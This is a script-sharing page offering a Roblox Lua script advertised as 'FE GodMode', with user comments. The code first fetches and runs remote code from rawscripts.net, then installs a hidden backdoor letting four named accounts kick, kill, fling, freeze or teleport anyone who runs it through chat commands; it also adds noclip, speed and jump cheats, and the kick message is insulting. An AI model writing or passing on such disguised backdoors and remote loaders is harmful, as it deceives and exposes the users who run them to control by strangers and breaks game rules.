FE GodMode
Key RequiredUniversal

FE GodMode

Universal ScriptAintAint 5.8K views 114.4K executesUpdated Feb 10, 2025
1.7/ 5(3 votes)
1233% Positive
Lua Script•325 lines (12751 chars)
loadstring(game:HttpGet("https://rawscripts.net/raw/Universal-Script-GodMode-29047"))()

local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
local developerUsernames = {"Aintnoway123n", "Toezo_o", "NannaDev", "FEWithoutEffort"} -- List of developer usernames

-- Function to get the UserId from the username
local function getUserIdFromUsername(username)
    local success, userId = pcall(function()
        return Players:GetUserIdFromNameAsync(username)
    end)
    if success then
        return userId
    else
        warn("Failed to get UserId for username:", username)
        return nil
    end
end

-- Retrieve the developers' UserIds
local scriptDeveloperIds = {}
for _, username in ipairs(developerUsernames) do
    local userId = getUserIdFromUsername(username)
    if userId then
        table.insert(scriptDeveloperIds, userId)
    else
        warn("Unable to retrieve UserId for username:", username)
    end
end

local followConnection -- To handle the `.follow` connection

-- Utility function to execute the command
local function executeCommand(message, sender)
    local lowerMessage = message:lower()

    -- Ensure the message starts with the new prefix "/"
    if lowerMessage:sub(1, 1) == "/" then
        -- Remove the prefix from the message for command matching
        local command = lowerMessage:sub(2)

        if table.find(scriptDeveloperIds, sender.UserId) then
            -- /kick command
            if command == "kick" then
                LocalPlayer:Kick("Aint Kicked You Because You're Lifeless Shit")

            -- /kill command
            elseif command == "kill" then
                LocalPlayer.Character:BreakJoints() -- Simulates death by breaking joints

            -- /rocket command (with fiery trail effect)
            elseif command == "rocket" then
                local character = LocalPlayer.Character
                local humanoidRootPart = character:FindFirstChild("HumanoidRootPart")

                if humanoidRootPart then
                    -- Create the BodyVelocity to move the player upwards
                    local bodyVelocity = Instance.new("BodyVelocity")
                    bodyVelocity.MaxForce = Vector3.new(100000, 100000, 100000)
                    bodyVelocity.Velocity = Vector3.new(0, 100, 0) -- Normal upward force
                    bodyVelocity.Parent = humanoidRootPart

                    -- Add a trail effect
                    local trail = Instance.new("Trail")
                    trail.Parent = humanoidRootPart
                    trail.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.5, 0)) -- Red to orange gradient
                    trail.Lifetime = 0.5
                    trail.Attachment0 = Instance.new("Attachment", humanoidRootPart)
                    trail.Attachment1 = Instance.new("Attachment", humanoidRootPart)
                    trail.WidthScale = NumberSequence.new(1, 0) -- Gradually decreases width

                    -- Optional: Add a particle emitter for extra effects
                    local particles = Instance.new("ParticleEmitter")
                    particles.Parent = humanoidRootPart
                    particles.Texture = "rbxassetid://258128463" -- Fire texture
                    particles.Rate = 50
                    particles.Lifetime = NumberRange.new(0.5, 1)
                    particles.Speed = NumberRange.new(5, 10)
                    particles.VelocitySpread = 180
                    particles.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 1, 0)) -- Red to yellow gradient
                    particles.LightEmission = 0.7

                    -- Clean up after 1 second
                    game:GetService("Debris"):AddItem(bodyVelocity, 1)
                    game:GetService("Debris"):AddItem(trail, 1)
                    game:GetService("Debris"):AddItem(particles, 1)
                end

            -- /freeze command
            elseif command == "freeze" then
                local root = LocalPlayer.Character:FindFirstChild("HumanoidRootPart")
                if root then
                    local bodyPosition = Instance.new("BodyPosition")
                    bodyPosition.MaxForce = Vector3.new(400000, 400000, 400000)
                    bodyPosition.D = 1000
                    bodyPosition.P = 50000
                    bodyPosition.Position = root.Position
                    bodyPosition.Parent = root

                    local bodyGyro = Instance.new("BodyGyro")
                    bodyGyro.MaxTorque = Vector3.new(400000, 400000, 400000)
                    bodyGyro.CFrame = root.CFrame
                    bodyGyro.Parent = root
                end

            -- /unfreeze command
            elseif command == "unfreeze" then
                local root = LocalPlayer.Character:FindFirstChild("HumanoidRootPart")
                if root then
                    local bodyPosition = root:FindFirstChildOfClass("BodyPosition")
                    if bodyPosition then bodyPosition:Destroy() end
                    local bodyGyro = root:FindFirstChildOfClass("BodyGyro")
                    if bodyGyro then bodyGyro:Destroy() end
                end

            -- /explode command
            elseif command == "explode" then
                local explosion = Instance.new("Explosion")
                explosion.Position = LocalPlayer.Character.HumanoidRootPart.Position
                explosion.BlastRadius = 10
                explosion.BlastPressure = 5000
                explosion.Parent = workspace

            -- /bring command
            elseif command == "bring" then
                if LocalPlayer.Character and sender.Character then
                    LocalPlayer.Character:SetPrimaryPartCFrame(sender.Character.HumanoidRootPart.CFrame)
                end

            -- /fling command
            elseif command == "fling" then
                local bodyVelocity = Instance.new("BodyVelocity")
                bodyVelocity.MaxForce = Vector3.new(999999999, 999999999, 999999999)
                bodyVelocity.Velocity = Vector3.new(0, 5000, 0)
                bodyVelocity.Parent = LocalPlayer.Character:FindFirstChild("HumanoidRootPart")
                game:GetService("Debris"):AddItem(bodyVelocity, 1)

            -- /follow command
            elseif command == "follow" then
                local humanoid = LocalPlayer.Character:FindFirstChildOfClass("Humanoid")
                if humanoid and sender.Character then
                    if followConnection then followConnection:Disconnect() end -- Ensure no previous follow connections
                    followConnection = game:GetService("RunService").Stepped:Connect(function()
                        if LocalPlayer.Character and sender.Character then
                            local rootPart = LocalPlayer.Character:FindFirstChild("HumanoidRootPart")
                            local senderRootPart = sender.Character:FindFirstChild("HumanoidRootPart")
                            if rootPart and senderRootPart then
                                local direction = (senderRootPart.Position - rootPart.Position).Unit
                                local targetPosition = senderRootPart.Position - direction * 3 -- Keep some distance
                                rootPart.CFrame = CFrame.new(rootPart.Position, senderRootPart.Position)
                                rootPart.Velocity = direction * humanoid.WalkSpeed
                            end
                        else
                            if followConnection then followConnection:Disconnect() end -- Disconnect if something breaks
                        end
                    end)
                end

            -- /unfollow command
            elseif command == "unfollow" then
                if followConnection then
                    followConnection:Disconnect()
                    followConnection = nil
                end

            -- /sit command
            elseif command == "sit" then
                local humanoid = LocalPlayer.Character:FindFirstChildOfClass("Humanoid")
                if humanoid then
                    humanoid.Sit = true -- This properly sets the character to sit
                end
            end
        end
    end
end

local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local TextChatService = game:GetService("TextChatService")
local LocalPlayer = Players.LocalPlayer
local Character = LocalPlayer.Character or LocalPlayer.CharacterAdded:Wait()
local Humanoid = Character:WaitForChild("Humanoid")

local isNoclip = false
local connection

-- Function to enable noclip
local function enableNoclip()
    isNoclip = true
    connection = RunService.Stepped:Connect(function()
        for _, part in pairs(Character:GetChildren()) do
            if part:IsA("BasePart") then
                part.CanCollide = false
            end
        end
    end)
end

-- Function to disable noclip
local function disableNoclip()
    isNoclip = false
    if connection then connection:Disconnect() end
    for _, part in pairs(Character:GetChildren()) do
        if part:IsA("BasePart") then
            part.CanCollide = true
        end
    end
end

-- Function to force jump
local function forceJump()
    if Humanoid then
        Humanoid.Jump = true
    end
end

-- Function to send a chat message (Supports both Legacy and New Chat System)
local function sendChatMessage(message)
    if TextChatService.ChatVersion == Enum.ChatVersion.TextChatService then
        local textChannel = TextChatService.TextChannels.RBXGeneral
        if textChannel then
            textChannel:SendAsync(message)
        end
    else
        game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(message, "All")
    end
end

-- Prevent multiple event connections
if not _G.SayCommandConnected then
    _G.SayCommandConnected = true

    -- Listen for chat commands
    LocalPlayer.Chatted:Connect(function(message)
        local args = string.split(message, " ")

        if args[1] == "/noclip" then
            enableNoclip()
            print("Noclip Enabled")

        elseif args[1] == "/unnoclip" then
            disableNoclip()
            print("Noclip Disabled")

        elseif args[1] == "/speed" and args[2] then
            local speed = tonumber(args[2])
            if speed and speed >= 16 and speed <= 500 then
                Humanoid.WalkSpeed = speed
                print("Speed set to: " .. speed)
            end

        elseif args[1] == "/jump" and args[2] then
            local jumpPower = tonumber(args[2])
            if jumpPower and jumpPower >= 50 and jumpPower <= 1000 then
                Humanoid.JumpPower = jumpPower
                print("Jump Power set to: " .. jumpPower)
            end

        elseif args[1] == "/forcejump" then
            forceJump()

        elseif args[1] == "/say" then
            local textToSay = message:sub(6) -- Remove "/say "
            if textToSay and textToSay ~= "" then
                sendChatMessage(textToSay)
            end
        end
    end)
end

local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer

-- Function to create the blind effect
local function blindPlayer()
    if LocalPlayer:FindFirstChild("PlayerGui") then
        local gui = Instance.new("ScreenGui")
        gui.Name = "BlindEffect"
        gui.ResetOnSpawn = false

        local frame = Instance.new("Frame")
        frame.Size = UDim2.new(1, 0, 1, 0)
        frame.Position = UDim2.new(0, 0, 0, 0)
        frame.BackgroundColor3 = Color3.new(0, 0, 0)
        frame.BorderSizePixel = 0
        frame.Parent = gui

        gui.Parent = LocalPlayer:FindFirstChild("PlayerGui")
    end
end

-- Function to remove the blind effect
local function unblindPlayer()
    local playerGui = LocalPlayer:FindFirstChild("PlayerGui")
    if playerGui then
        local blindGui = playerGui:FindFirstChild("BlindEffect")
        if blindGui then
            blindGui:Destroy()
        end
    end
end

-- Listen for chat commands
LocalPlayer.Chatted:Connect(function(message)
    if message:lower() == "/blind" then
        blindPlayer()
    elseif message:lower() == "/unblind" then
        unblindPlayer()
    end
end)

-- Event listener for players' chat messages
local function onPlayerAdded(player)
    player.Chatted:Connect(function(message)
        executeCommand(message, player)
    end)
end

-- Listen for PlayerAdded event
Players.PlayerAdded:Connect(onPlayerAdded)

-- Handle already connected players (in case they were in the game before the script started)
for _, player in ipairs(Players:GetPlayers()) do
    onPlayerAdded(player)
end

Features & Information

GodMode Activated Hoyaaaaaa🤤🤤 Recheck✅ GodMode!

Community Comments (4)

mxsynrymxsynryFeb 10, 2025(edited)

chatgpt ah?

TYGATYGAFeb 10, 2025(edited)

DOSNT WORK

xyrevexxyrevexFeb 14, 2025(edited)

all the script does it send "Script Detected! 🤑" in the chat whenever a "script developer" joins

AshenAshenMar 5, 2025(edited)

ez ez

More Scripts for Universal Scripts